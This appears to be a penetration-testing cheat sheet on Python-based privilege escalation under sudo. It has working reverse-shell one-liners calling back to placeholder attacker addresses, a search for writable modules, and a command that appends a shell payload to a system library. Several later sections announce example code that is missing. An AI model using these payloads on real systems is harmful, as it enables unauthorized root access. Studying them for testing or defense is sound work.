Python
Theory
Python scripting is a powerful tool used by system administrators and developers to automate tasks and streamline processes on Unix-like systems. However, like any software, python scripts can be vulnerable to various security issues, which, if exploited, can lead to privilege escalation and unauthorized access.
Practice
PythonPath Hijacking
Assume the python script can be executed as root with sudo rights and SETENV.
sudo -l
(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/scripts/example.pyWith SETENV, we can change PYTHONPATH when executing the script, and insert malicious script to the module which is imported in the script.
First, we can check what module is imported in the python script (e.g. /opt/scripts/example.py here).
import random
print(random.randint(1, 8))We can forge the imported module
$ cat /tmp/random.py
import socket,os,pty;s=socket.socket();s.connect(("<local-ip>",9001));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")Then run the python script with updating PYTHONPATH in the remote machine.
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /opt/scripts/example.pyPython Library Overriding
Assume the python script can be executed as root with sudo rights. If the Python script contains a module that can be modified by current user, we can inject arbitrary code into the module.
sudo -l
(root): /usr/bin/python3 /opt/scripts/example.pyFind writable python modules
$ find / -name "*.py" -writable 2>/dev/null
/usr/lib/python3.11/random.pyWe can check if modules on which we have write access are imported by the script
import random
print(random.randint(1, 8))We can append our payload at the end the of the module
$ echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING_IP",9002));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' >> /usr/lib/python3.11/random.pyThen run the python script with sudo
sudo /usr/bin/python3 /opt/scripts/example.pyPython Library Hijacking
Assume the python script can be executed as root with sudo rights. If we can write on the folder containing the script, then python will prioritize the execution of this module instead of the usual path
Check what modules are imported by the script
Check write access
Write the malicious module on the same folder as the script
Then run the python script with sudo
OS Commands in input()
Assume the python script use python2.x and can be executed as root with sudo rights. If it use the input function and we controll its input, then the script is vulnerable to arbitrary code execution. the input() function is equivalent to eval(raw_input).
Check if we have control over the input of the vulnerable function
We can enter an OS commands in the input function
OS Commands in Eval() and Exec()
Assume the python script can be executed as root with sudo rights. If it use the eval() or exec() method and we controll its input, then the script is vulnerable to arbitrary code execution.
Check if we have control over the input of a vulnerable function
If we controll some variables passed to this vulnerables functions, we can inject arbitrary code.
Format String Exploit
The str.format() string method was introduced in Python 3 was later also added to Python 2.7. It allows multiple substitutions and value formatting. Vulnerability comes when our Python app uses str.format() in the user-controlled string. This vulnerability may lead attackers to get access to sensitive information.
Here is an example of a vulnerable code:
To extract sensitive informations we can give the following strings as input:
PyYaml Code Execution
Assume the python script can be executed as root with sudo rights. If it use the yaml.load() method and we controll its input, then the script is vulnerable to arbitrary code execution.
Check if we have control over the input of a vulnerable function
If we controll some variables passed to this vulnerables functions, we can inject arbitrary code. here are example of some payloads:
Since PyYaml version 6.0, the default loader for load has been switched to SafeLoader mitigating the risks against Remote Code Execution. The vulnerable sinks are now yaml.unsafe_load and yaml.load(input, Loader=yaml.UnsafeLoader)
References
Last updated
Was this helpful?
